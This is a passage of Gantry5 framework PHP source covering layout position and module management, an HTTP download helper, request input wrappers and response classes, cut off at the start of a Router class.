public function isDefault($id)
{
return $id === 'default';
}
/**
* @param array $outlines
* @return array
*/
protected function addDefaults(array $outlines)
{
return [
'default' => 'Base Outline',
'_body_only' => 'Body Only',
'_error' => 'Error',
'_offline' => 'Offline'
] + $outlines;
}
/**
* Find unused name with number appended to it when duplicating an
outline.
*
* @param string $id
* @return string
*/
protected function findFreeName($id)
{
if (!isset($this->items[$id])) {
return $id;
}
$name = $id;
$count = 0;
if (preg_match('|^(?:_)?(.*?)(?:_(\d+))?$|ui', $id,
$matches)) {
$matches += ['', '', ''];
list (, $name, $count) = $matches;
}
$count = max(1, $count);
do {
$count++;
} while (isset($this->items["{$name}_{$count}"]));
return "{$name}_{$count}";
}
protected function getFilesystemIterator($path)
{
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
$custom = $locator->findResource($path, true, true);
if (is_dir($custom)) {
/** @var FilesystemIterator $iterator */
$iterator = new FilesystemIterator(
$custom,
FilesystemIterator::CURRENT_AS_SELF |
FilesystemIterator::KEY_AS_FILENAME |
FilesystemIterator::UNIX_PATHS |
FilesystemIterator::SKIP_DOTS
);
} else {
/** @var UniformResourceIterator $iterator */
$iterator = $locator->getIterator(
$path,
UniformResourceIterator::CURRENT_AS_SELF |
UniformResourceIterator::KEY_AS_FILENAME |
UniformResourceIterator::UNIX_PATHS |
UniformResourceIterator::SKIP_DOTS
);
}
return $iterator;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Position;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\ArrayTraits\Export;
use RocketTheme\Toolbox\ArrayTraits\NestedArrayAccessWithGetters;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class Module implements \ArrayAccess
{
use NestedArrayAccessWithGetters, Export;
public $name;
public $position;
public $assigned;
protected $items;
/**
* Module constructor.
*
* @param string $name
* @param string $position
* @param array $data
*/
public function __construct($name, $position = null, array $data =
null)
{
$this->name = $name;
$this->position = $position;
if ($data) {
$this->init($data);
} else {
$this->load();
}
}
public function update(array $data)
{
$this->init($data);
return $this;
}
/**
* Save module.
*
* @param string $position
* @param string $name
* @return $this
*/
public function save($name = null, $position = null)
{
$this->name = $name ?: $this->name;
$this->position = $position ?: $this->position;
$items = $this->toArray();
unset($items['position'], $items['id']);
$file = $this->file(true);
$file->save($items);
return $this;
}
/**
* Delete module.
*
* @return $this
*/
public function delete()
{
$file = $this->file(true);
if ($file->exists()) {
$file->delete();
}
return $this;
}
/**
* Return true if module exists.
*
* @return bool
*/
public function exists()
{
return $this->name ? $this->file()->exists() : false;
}
public function toArray()
{
return ['position' => $this->position,
'id' => $this->name] + $this->items;
}
protected function load()
{
$file = $this->file();
$this->init($file->content());
$file->free();
}
protected function init($data)
{
unset($data['id'], $data['position']);
$this->items = $data;
if (isset($this->items['assignments'])) {
$assignments = $this->items['assignments'];
if (is_array($assignments)) {
$this->assigned = 'some';
} elseif ($assignments !== 'all') {
$this->assigned = 'none';
} else {
$this->assigned = 'all';
}
} else {
$this->assigned = 'all';
}
}
protected function file($save = false)
{
$position = $this->position ?: '_unassigned_';
$this->name = $this->name ?: ($save ?
$this->findFreeName() : null);
$name = $this->name ?: '_untitled_';
/** @var UniformResourceLocator $locator */
$locator = Gantry::instance()['locator'];
return
CompiledYamlFile::instance($locator->findResource("gantry-positions://{$position}/{$name}.yaml",
true, $save));
}
/**
* Find unused name with number appended.
*/
protected function findFreeName()
{
$position = $this->position ?: '_unassigned_';
$name = $this->get('type');
$name = $name == 'particle' ?
$this->get('options.type') : $name;
/** @var UniformResourceLocator $locator */
$locator = Gantry::instance()['locator'];
if
(!file_exists($locator->findResource("gantry-positions://{$position}/{$name}.yaml",
true, true))) {
return $name;
}
$count = 1;
do {
$count++;
} while
(file_exists($locator->findResource("gantry-positions://{$position}/{$name}_{$count}.yaml",
true, true)));
return "{$name}_{$count}";
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Position;
use Gantry\Component\Collection\Collection;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Component\Filesystem\Folder;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
use Symfony\Component\Yaml\Yaml;
class Position extends Collection
{
public $name;
public $title;
protected $modules = [];
/**
* Position constructor.
*
* @param string $name
* @param array $items
*/
public function __construct($name, array $items = null)
{
$this->name = $name;
$this->load($items);
}
/**
* Save position.
*
* @return $this
*/
public function save()
{
$file = $this->file(true);
$file->save($this->toArray());
return $this;
}
/**
* Clone position together with its modules. Returns new position.
*
* @param string $name
* @return Position
*/
public function duplicate($name)
{
$new = clone $this;
$new->name = $name;
$new->save();
foreach ($this as $module) {
$clone = clone $module;
$clone->position = $name;
$clone->save();
}
return $new;
}
/**
* Raname module key
*
* @param string $name
* @return static
*/
public function rename($name)
{
$new = $this->duplicate($name);
$this->delete();
return $new;
}
/**
* Delete position.
*
* @return $this
*/
public function delete()
{
$file = $this->file(true);
if ($file->exists()) {
$file->delete();
}
$folder = $this->folder(true);
if (is_dir($folder)) {
Folder::delete($folder);
}
return $this;
}
/**
* Update modules in the position.
*
* @param array $items
* @return $this
*/
public function update(array $items)
{
$list = [];
foreach ($items as $item) {
$name = ($item instanceof Module) ? $item->name : $item;
$list[] = $name;
if (!in_array($name, $this->items)) {
$this->add($item);
}
}
$remove = array_diff($this->items, $list);
foreach ($remove as $item) {
$module = $this->get($item);
if ($module->position === $this->name) {
$module->delete();
}
}
$this->items = $list;
return $this;
}
/**
* @param Module|string $item
* @param string $name Temporary name for the module.
* @return $this
*/
public function add($item, $name = null)
{
if ($item instanceof Module) {
$this->modules[$name ?: $item->name] = $item;
$item = $name ?: $item->name;
}
$this->items[] = $item;
return $this;
}
public function remove($item)
{
if ($item instanceof Module) {
$item = $item->name;
}
unset($this->modules[$item]);
$this->items = array_diff($this->items, $item);
return $this;
}
/**
* @param $name
* @return Module
*/
public function get($name)
{
if (!isset($this->modules[$name])) {
$this->modules[$name] = $this->loadModule($name);
}
return $this->modules[$name];
}
/**
* Returns the value at specified offset.
*
* @param string $offset The offset to retrieve.
* @return Module
*/
public function offsetGet($offset)
{
if (!isset($this->items[$offset])) {
return null;
}
$name = $this->items[$offset];
if (!isset($this->modules[$name])) {
$this->modules[$name] = $this->loadModule($name);
}
return $this->modules[$name];
}
/**
* Assigns a value to the specified offset.
*
* @param mixed $offset The offset to assign the value to.
* @param mixed $value The value to set.
*/
public function offsetSet($offset, $value)
{
if (!$value instanceof Position) {
throw new \InvalidArgumentException('Value has to be
instance of Position');
}
if (is_null($offset)) {
$this->items[] = $value->name;
$this->modules[$value->name] = $value;
} else {
$this->items[$offset] = $value->name;
$this->modules[$value->name] = $value;
}
}
/**
* Unsets an offset.
*
* @param mixed $offset The offset to unset.
*/
public function offsetUnset($offset)
{
parent::offsetUnset($offset);
if (!isset($this->items[$offset])) {
return;
}
$name = $this->items[$offset];
if (isset($this->modules[$name])) {
unset($this->modules[$name]);
}
}
/**
* @return \ArrayIterator
*/
public function getIterator()
{
$items = [];
foreach ($this->items as $key => $name) {
$items[] = $this->offsetGet($key);
}
return new \ArrayIterator($items);
}
/**
* @return array
*/
public function toArray($includeModules = false)
{
$array = [
'name' => $this->name,
'title' => $this->title,
];
if (!$includeModules) {
$array['ordering'] = $this->items;
} else {
$list = [];
foreach ($this->getIterator() as $key => $module) {
$list[$key] = $module->toArray();
}
$array['modules'] = $list;
}
return $array;
}
/**
* @param int $inline
* @param int $indent
* @param bool $includeModules
* @return string
*/
public function toYaml($inline = 3, $indent = 2, $includeModules =
false)
{
return Yaml::dump($this->toArray($includeModules), $inline,
$indent, true, false);
}
/**
* @param bool $includeModules
* @return string
*/
public function toJson($includeModules = false)
{
return json_encode($this->toArray($includeModules));
}
/**
* @return array
*/
public function listModules()
{
$list = [];
foreach ($this->items as $name) {
$list[] = "{$this->name}/{$name}";
}
return $list;
}
/**
* @param bool $save
* @return string
*/
public function folder($save = false)
{
return $this->locator()->findResource($this->path(), true,
$save);
}
/**
* @param $data
*/
protected function load($data)
{
if ($data === null) {
$file = $this->file();
$data = $file->content();
$file->free();
}
$this->title = isset($data['title']) ?
$data['title'] : $this->name;
if (isset($data['modules'])) {
foreach ($data['modules'] as $array) {
$this->add(new Module($array['id'],
$this->name, $array), $array['id'] ?: rand());
}
return;
}
// Sort modules by ordering, if items are not listed in ordering,
use alphabetical order.
$ordering = isset($data['ordering']) ?
array_flip($data['ordering']) : [];
$path = $this->locator()->findResource($this->path());
$files = $path ? Folder::all(
$path,
[
'compare' => 'Filename',
'pattern' => '|\.yaml$|',
'folders' => false,
'recursive' => false,
'key' => 'Filename',
'filters' => ['key' =>
'|\.yaml$|']
]
) : [];
ksort($files);
$this->items = array_keys($ordering + $files);
}
/**
* @param string $name
* @return $this
*/
protected function loadModule($name)
{
return new Module($name, $this->name);
}
/**
* @param bool $save
* @return CompiledYamlFile
*/
protected function file($save = false)
{
return
CompiledYamlFile::instance($this->locator()->findResource($this->path()
. '.yaml', true, $save));
}
/**
* @return UniformResourceLocator
*/
protected function locator()
{
return Gantry::instance()['locator'];
}
/**
* @return string
*/
protected function path()
{
return "gantry-positions://{$this->name}";
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Position;
use Gantry\Component\Collection\Collection;
use Gantry\Component\File\CompiledYamlFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceIterator;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
use RocketTheme\Toolbox\DI\Container;
class Positions extends Collection
{
/**
* @var array|Position[]
*/
protected $items;
/**
* @var string
*/
protected $path;
/**
* @var Container
*/
protected $container;
public function __construct(Container $container)
{
$this->container = $container;
}
/**
* @param string $path
*
* @return $this
* @throws \RuntimeException
*/
public function load($path = 'gantry-positions://')
{
$this->path = $path;
$positions = [];
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
if ($locator->findResource($path)) {
/** @var UniformResourceIterator $iterator */
$iterator = $locator->getIterator($path);
/** @var UniformResourceIterator $info */
foreach ($iterator as $info) {
if (!$info->isFile() || $info->getExtension() !==
'yaml') {
continue;
}
$name = $info->getBasename('.yaml');
$position =
CompiledYamlFile::instance($info->getPathname())->content();
// Only use filesystem position if it it is properly set
up.
if ($position) {
$positions[$name] = new Position($name, $position);
}
}
}
// Add empty positions from the layouts.
foreach ($this->container['outlines']->positions()
as $name => $title) {
if (!isset($positions[$name])) {
$positions[$name] = new Position($name, ['title'
=> $title]);
}
}
ksort($positions);
$this->items = $positions;
return $this;
}
/**
* Updates all positions with their modules from an array and saves
them.
*
* @param array $data
* @return $this
*/
public function import(array $data)
{
foreach ($data as $pos) {
$list = [];
$position = $pos['name'];
foreach ($pos['modules'] as $item) {
$name = !empty($item['id']) ?
$item['id'] : '';
if ($name && !empty($item['position'])) {
$module =
$this[$item['position']]->get($name);
if ($position !== $item['position']) {
$module->delete();
}
} else {
$module = new Module($name, $position);
}
$module->update($item)->save($name, $position);
$list[] = $module;
}
$this[$pos['name']]->update($list)->save();
}
return $this;
}
/**
* @param Position $item
* @return $this
*/
public function add($item)
{
if ($item instanceof Position) {
$this->items[$item->name] = $item;
}
return $this;
}
/**
* @param string $title
* @param string $id
*
* @return string
* @throws \RuntimeException
*/
public function create($title = 'Untitled', $id = null)
{
$name = strtolower(preg_replace('|[^a-z\d_-]|ui',
'_', $id ?: $title));
if (!$name) {
throw new \RuntimeException("Position needs a name",
400);
}
$name = $this->findFreeName($name);
$position = new Position($name, ['title' => $title]);
$position->save();
return $name;
}
/**
* @param string $id
* @param string $new
*
* @return string
* @throws \RuntimeException
*/
public function duplicate($id, $new = null)
{
if (!isset($this->items[$id])) {
throw new \RuntimeException(sprintf("Duplicating Position
failed: '%s' not found.", $id), 400);
}
$new = $this->findFreeName($new ?
strtolower(preg_replace('|[^a-z\d_-]|ui', '_', $new)) :
$id);
$position = $this->items[$id];
$new = $position->duplicate($new);
return $new->name;
}
/**
* @param string $id
* @param string $new
*
* @return string
* @throws \RuntimeException
*/
public function rename($id, $new)
{
if (!isset($this->items[$id])) {
throw new \RuntimeException(sprintf("Renaming Position
failed: '%s' not found.", $id), 400);
}
$newId = strtolower(preg_replace('|[^a-z\d_-]|ui',
'_', $new));
if (isset($this->items[$newId])) {
throw new \RuntimeException(sprintf("Renaming Position
failed: '%s' already exists.", $newId), 400);
}
$position = $this->items[$id];
$position->rename($new);
return $position->name;
}
/**
* @param string $id
*
* @throws \RuntimeException
*/
public function delete($id)
{
if (!isset($this->items[$id])) {
throw new \RuntimeException(sprintf("Deleting Position
failed: '%s' not found.", $id), 400);
}
$position = $this->items[$id];
$position->delete();
}
/**
* Find unused name with number appended to it when duplicating an
position.
*
* @param string $id
*
* @return string
*/
protected function findFreeName($id)
{
if (!isset($this->items[$id])) {
return $id;
}
$name = $id;
$count = 0;
if (preg_match('|^(?:_)?(.*?)(?:_(\d+))?$|ui', $id,
$matches)) {
$matches += ['', '', ''];
list (, $name, $count) = $matches;
}
$count = max(1, $count);
do {
$count++;
} while (isset($this->items["{$name}_{$count}"]));
return "{$name}_{$count}";
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Remote;
class Response
{
/**
* The callback for the progress
*
* @var callable Either a function or callback in array notation
*/
public static $callback = null;
/**
* Which method to use for HTTP calls, can be 'curl',
'fopen' or 'auto'. Auto is default and fopen is the
preferred method
*
* @var string
*/
private static $method = 'auto';
/**
* Default parameters for `curl` and `fopen`
*
* @var array
*/
private static $defaults = [
'curl' => [
CURLOPT_REFERER => 'Gantry5 Response',
CURLOPT_USERAGENT => 'Gantry5 Response',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 15,
CURLOPT_HEADER => false,
/**
* Example of callback parameters from within your own class
*/
//CURLOPT_NOPROGRESS => false,
//CURLOPT_PROGRESSFUNCTION => [$this, 'progress']
],
'fopen' => [
'method' => 'GET',
'user_agent' => 'Gantry5 Response',
'max_redirects' => 5,
'follow_location' => 1,
'timeout' => 15,
/**
* Example of callback parameters from within your own class
*/
//'notification' => [$this, 'progress']
]
];
/**
* Sets the preferred method to use for making HTTP calls.
*
* @param string $method Default is `auto`
*
* @return Response
*/
public static function setMethod($method = 'auto')
{
if (!in_array($method, ['auto', 'curl',
'fopen'])) {
$method = 'auto';
}
self::$method = $method;
return new self();
}
/**
* Makes a request to the URL by using the preferred method
*
* @param string $uri URL to call
* @param array $options An array of parameters for both `curl` and
`fopen`
* @param callable $callback
*
* @return string The response of the request
*/
public static function get($uri = '', $options = [],
$callback = null)
{
if (!self::isCurlAvailable() && !self::isFopenAvailable())
{
throw new \RuntimeException('Could not start an HTTP
request. `allow_url_open` is disabled and `cURL` is not available');
}
$options = array_replace_recursive(self::$defaults, $options);
$method = 'get' . ucfirst(strtolower(self::$method));
self::$callback = $callback;
return static::$method($uri, $options, $callback);
}
/**
* Checks if cURL is available
*
* @return boolean
*/
public static function isCurlAvailable()
{
return function_exists('curl_version');
}
/**
* Checks if the remote fopen request is enabled in PHP
*
* @return boolean
*/
public static function isFopenAvailable()
{
return preg_match('/1|yes|on|true/i',
ini_get('allow_url_fopen'));
}
/**
* Progress normalized for cURL and fopen
*
* @return array Normalized array with useful data.
* Format: ['code' => int|false,
'filesize' => bytes, 'transferred' => bytes,
'percent' => int]
*/
public static function progress()
{
static $filesize = null;
$args = func_get_args();
$isCurlResource = is_resource($args[0]) &&
get_resource_type($args[0]) == 'curl';
$notification_code = !$isCurlResource ? $args[0] : false;
$bytes_transferred = $isCurlResource ? $args[2] : $args[4];
if ($isCurlResource) {
$filesize = $args[1];
} elseif ($notification_code == STREAM_NOTIFY_FILE_SIZE_IS) {
$filesize = $args[5];
}
if ($bytes_transferred > 0) {
if ($notification_code == STREAM_NOTIFY_PROGRESS |
STREAM_NOTIFY_COMPLETED || $isCurlResource) {
$progress = [
'code' => $notification_code,
'filesize' => $filesize,
'transferred' => $bytes_transferred,
'percent' => $filesize <= 0 ?
'-' : round(($bytes_transferred * 100) / $filesize, 1)
];
if (self::$callback !== null) {
call_user_func_array(self::$callback, [$progress]);
}
}
}
}
/**
* Automatically picks the preferred method
*
* @return string The response of the request
*/
private static function getAuto()
{
if (self::isFopenAvailable()) {
return self::getFopen(func_get_args());
}
if (self::isCurlAvailable()) {
return self::getCurl(func_get_args());
}
return '';
}
/**
* Starts a HTTP request via fopen
*
* @return string The response of the request
*/
private static function getFopen()
{
if (count($args = func_get_args()) == 1) {
$args = $args[0];
}
$uri = $args[0];
$options = $args[1];
$callback = $args[2];
if ($callback) {
$options['fopen']['notification'] =
['self', 'progress'];
}
$stream = stream_context_create(['http' =>
$options['fopen']], $options['fopen']);
$content = @file_get_contents($uri, false, $stream);
if ($content === false) {
throw new \RuntimeException("Error while trying to
download '$uri'");
}
return $content;
}
/**
* Starts a HTTP request via cURL
*
* @return string The response of the request
*/
private static function getCurl()
{
$args = func_get_args();
$args = count($args) > 1 ? $args : array_shift($args);
$uri = $args[0];
$options = $args[1];
$callback = $args[2];
$ch = curl_init($uri);
curl_setopt_array($ch, $options['curl']);
if ($callback) {
curl_setopt_array(
$ch,
[
CURLOPT_NOPROGRESS => false,
CURLOPT_PROGRESSFUNCTION => ['self',
'progress']
]
);
}
$response = curl_exec($ch);
if ($errno = curl_errno($ch)) {
$error_message = curl_strerror($errno);
throw new \RuntimeException("cURL error ({$errno}):\n
{$error_message}");
}
curl_close($ch);
return $response;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Request;
use RocketTheme\Toolbox\ArrayTraits\Export;
use RocketTheme\Toolbox\ArrayTraits\ExportInterface;
use RocketTheme\Toolbox\ArrayTraits\Iterator;
use RocketTheme\Toolbox\ArrayTraits\NestedArrayAccessWithGetters;
class Input implements \ArrayAccess, \Iterator, ExportInterface
{
use NestedArrayAccessWithGetters, Iterator, Export;
/**
* @var array
*/
protected $items;
/**
* Constructor to initialize array.
*
* @param array $items Initial items inside the iterator.
*/
public function __construct(array &$items = [])
{
$this->items = &$items;
}
/**
* Returns input array. If there are any JSON encoded fields (key:
_json), those will be decoded as well.
*
* @param string $path Dot separated path to the requested
value.
* @param mixed $default Default value (or null).
* @param string $separator Separator, defaults to '.'
* @return array
*/
public function getArray($path = null, $default = null, $separator =
'.')
{
$data = $path ? $this->get($path, $default, $separator) :
$this->items;
return (array) $this->getChildren($data);
}
/**
* Returns JSON decoded input array.
*
* @param string $path Dot separated path to the requested
value.
* @param mixed $default Default value (or null).
* @param string $separator Separator, defaults to '.'
* @return array
*/
public function getJsonArray($path = null, $default = null, $separator
= '.')
{
return (array) $this->getJson($path, $default, $separator,
true);
}
/**
* Returns JSON decoded input. Accosiative arrays become objects.
*
* @param string|null $path Dot separated path to the requested
value.
* @param mixed $default Default value (or null).
* @param string $separator Separator, defaults to '.'
* @param bool $assoc True to return associative arrays
instead of objects.
* @return mixed
*/
public function getJson($path = null, $default = null, $separator =
'.', $assoc = false)
{
$data = $this->get($path, null, $separator);
if (!isset($data)) {
return $default;
}
if (!is_string($data)) {
throw new \RuntimeException(sprintf('%s::%s(%s) expects
input to be JSON encoded string', __CLASS__, __FUNCTION__, $path));
}
$data = json_decode($data, $assoc);
if (!isset($data)) {
throw new \RuntimeException(sprintf('%s::%s(): %s',
__CLASS__, __FUNCTION__, json_last_error_msg()));
}
return $data;
}
/**
* @param $current
* @return array|mixed
* @internal
*/
protected function getChildren(&$current)
{
if (!is_array($current)) {
return $current;
}
$array = [];
foreach ($current as $key => &$value) {
if ($key === '_json') {
$array += json_decode($value, true);
} else {
$array[$key] = $this->getChildren($value);
}
}
return $array;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Request;
class Request
{
/**
* @var string
*/
protected $method;
/**
* @var Input
*/
public $get;
/**
* @var Input
*/
public $post;
/**
* @var Input
*/
public $cookie;
/**
* @var Input
*/
public $server;
/**
* @var Input
*/
public $request;
public function __construct()
{
$this->init();
}
public function getMethod()
{
if (!$this->method) {
$method = $this->server['REQUEST_METHOD'] ?:
'GET';
if ('POST' === $method) {
$method =
$this->server['X-HTTP-METHOD-OVERRIDE'] ?: $method;
$method = $this->post['METHOD'] ?: $method;
}
$this->method = strtoupper($method);
}
return $this->method;
}
protected function init()
{
$this->get = new Input($_GET);
$this->post = new Input($_POST);
$this->cookie = new Input($_COOKIE);
$this->server = new Input($_SERVER);
$this->request = new Input($_REQUEST);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Response;
class HtmlResponse extends Response
{
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Response;
class JsonResponse extends Response
{
public $mimeType = 'application/json';
protected $success = true;
protected $message;
protected $exceptions = [];
protected $messages = [];
protected $content = [];
/**
* @param string $content
* @param bool $success
* @return $this
*/
public function setContent($content, $success = true)
{
$this->success = (bool) $success;
if (is_array($content)) {
foreach ($content as $key => $value) {
$this->parseValue($key, $value);
}
} else {
$this->parseValue(null, $content);
}
return $this;
}
/**
* @return string
*/
public function __toString()
{
// Empty output buffer to make sure that the response is clean and
valid.
while (($output = ob_get_clean()) !== false) {
// In debug mode send also output buffers (debug dumps, PHP
notices and warnings).
if ($output && (GANTRY5_DEBUG || headers_sent())) {
$this->messages['php'][] = $output;
}
}
$json = [
'code' => $this->code,
'success' => $this->success
];
if ($this->messages) {
$json['messages'] = $this->messages;
}
if ($this->exceptions) {
$json['exceptions'] = $this->exceptions;
}
if (GANTRY5_DEBUG) {
$json['memory'] = ['peak' =>
memory_get_peak_usage(), 'current' => memory_get_usage()];
}
$json += $this->content;
return (string) json_encode($json);
}
protected function parseValue($key, $value)
{
if ($value instanceof \Exception) {
// Prepare the error response if we are dealing with an error.
$this->success = false;
$this->exceptions = $this->parseException($value);
} elseif ($value instanceof HtmlResponse) {
// Add HTML response (numeric keys are always integers).
$key = !$key || is_int($key) ? 'html' : $key;
$this->content[$key] = trim((string) $value);
} elseif (is_null($key)) {
// If the returned value was not an array, put the contents
into data variable.
$this->content['data'] = $value;
} elseif (is_int($key)) {
// If the key was an integer, also put the contents into data
variable.
$this->content['data'][$key] = $value;
} else {
$this->content[$key] = $value;
}
}
protected function parseException(\Exception $e)
{
$this->code = $e->getCode();
// Build data from exceptions.
$exceptions = [];
do {
$exception = [
'code' => $e->getCode(),
'message' => $e->getMessage()
];
if (GANTRY5_DEBUG) {
$exception += [
'type' => get_class($e),
'file' => $e->getFile(),
'line' => $e->getLine()
];
}
$exceptions[] = $exception;
$e = $e->getPrevious();
}
while (GANTRY5_DEBUG && $e);
return $exceptions;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Response;
class RedirectResponse extends Response
{
public function __construct($content = '', $status = 303)
{
parent::__construct('', $status);
$this->setHeader('Location', $content);
}
public function getContent()
{
return (string) $this->getHeaders()['Location'];
}
public function setContent($content)
{
$this->setHeader('Location', $content);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Response;
class Response
{
public $charset = 'utf-8';
public $mimeType = 'text/html';
protected $code = 200;
protected $message = 'OK';
protected $lifetime = 0;
protected $etag;
/**
* @var array Response headers.
*/
protected $headers = [];
/**
* @var string Response body.
*/
protected $content;
protected $responseCodes = [
200 => 'OK',
400 => 'Bad Request',
401 => 'Unauthorized',
403 => 'Forbidden',
404 => 'Not Found',
405 => 'Method Not Allowed',
410 => 'Gone',
500 => 'Internal Server Error',
501 => 'Not Implemented',
503 => 'Service Temporarily Unavailable'
];
public function __construct($content = '', $status = 200)
{
if ($content) {
$this->setContent($content);
}
if ($status != 200) {
$this->setStatusCode($status);
}
}
/**
* @param int $seconds
* @return $this
*/
public function setLifetime($seconds)
{
$this->lifetime = $seconds;
return $this;
}
/**
* @param mixed $key
* @return $this
*/
public function setKey($key)
{
$this->etag = md5(json_encode($key));
return $this;
}
/**
* @return int
*/
public function getStatusCode()
{
return $this->code;
}
/**
* @param int $code
* @param string $message
* @return $this
*/
public function setStatusCode($code, $message = null)
{
if ($message) {
$this->code = $code;
$this->message = $message;
} else {
$this->code = isset($this->responseCodes[$code]) ? (int)
$code : 500;
$this->message = $this->responseCodes[$this->code];
}
return $this;
}
/**
* @return string
*/
public function getStatus()
{
$code = $this->getStatusCode();
return $code . ' ' .
(isset($this->responseCodes[$code]) ? $this->responseCodes[$code] :
'Unknown error');
}
/**
* @return array
*/
public function getHeaders()
{
return $this->headers;
}
/**
* @param array $headers
* @param bool $replace
* @return $this
*/
public function setHeaders(array $headers, $replace = false)
{
foreach ($headers as $key => $values) {
$act = $replace;
foreach ((array) $values as $value) {
$this->setHeader($key, $value, $act);
$act = false;
}
}
return $this;
}
/**
* @return $this
*/
public function clearHeaders()
{
$this->headers = [];
return $this;
}
/**
* @param $name
* @param $value
* @param bool $replace
* @return $this
*/
public function setHeader($name, $value, $replace = false)
{
if ($replace) {
$this->headers[$name] = [$value];
} else {
$this->headers[$name][] = $value;
}
return $this;
}
/**
* @return string
*/
public function getContent()
{
return (string) $this->content;
}
/**
* @param string $content
* @return Response
* @throws \UnexpectedValueException
*/
public function setContent($content) {
if ($content !== null && !is_string($content) &&
!is_numeric($content) && !is_callable([$content,
'__toString'])) {
throw new \UnexpectedValueException(
sprintf('Content must be a string or object
implementing __toString()')
);
}
$this->content = $content;
return $this;
}
/**
* @return string
*/
public function __toString()
{
return (string) $this->content;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Router;
use Gantry\Admin\EventListener;
use Gantry\Admin\Theme;
use Gantry\Component\Controller\BaseController;
use Gantry\Component\Response\HtmlResponse;
use Gantry\Component\Response\Response;
use Gantry\Component\Response\JsonResponse;
use Gantry\Framework\Services\ErrorServiceProvider;
use RocketTheme\Toolbox\DI\Container;
use RocketTheme\Toolbox\Event\EventDispatcher;
use Whoops\Exception\ErrorException;
abstract class Router implements RouterInterface
{
/**
* @var Container
*/
protected $container;
protected $format;
protected $resource;
protected $method;
protected $path;
protected $params;
public function __construct(Container $container)
{
$this->container = $container;
}
public function dispatch()
{
$this->boot();
$this->load();
// Render the page or execute the task.
try {
$response = static::execute($this->resource,
$this->method, $this->path, $this->params, $this->format);
} catch (ErrorException $e) {
throw $e;
} catch (\Exception $e) {
// Handle errors.
